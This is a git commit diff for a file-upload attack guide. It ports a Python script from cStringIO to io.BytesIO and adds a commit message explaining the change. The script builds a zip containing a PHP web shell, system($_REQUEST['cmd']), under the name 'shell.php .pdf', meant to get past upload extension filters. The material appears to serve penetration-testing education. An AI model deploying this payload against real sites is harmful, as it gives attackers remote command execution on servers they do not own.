Update file-upload.md / Replace cStringIO by io
Originally, I wrote the script for the little trick "Decompress with a different name" with the module "cStringIo". I don't remember why exactly, but when tested again at home to write about this stuff, I found that cStringIo is not present anymore on python3. It works with python2.7, but `io` is better because it works with both modules. And, I wrote " we can reuse the previous script". That's not true haha ! I think this is better to keep consistency with your previous work, and have more compatibility with different python version. Let me know if it's ok for you. Thanks !
This commit is contained in:
parent
28f1175b58
commit
86f9653abf
|
@ -222,13 +222,11 @@ Sometimes an application will block the loading of a file by checking its extens
|
|||
We can reuse the previous script to make a zip file.
|
||||
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
import zipfile
|
||||
from cStringIO import StringIO
|
||||
from io import BytesIO
|
||||
|
||||
def create_zip():
|
||||
f = StringIO()
|
||||
f = BytesIO()
|
||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||||
z.close()
|
||||
|
|
Loading…
Reference in New Issue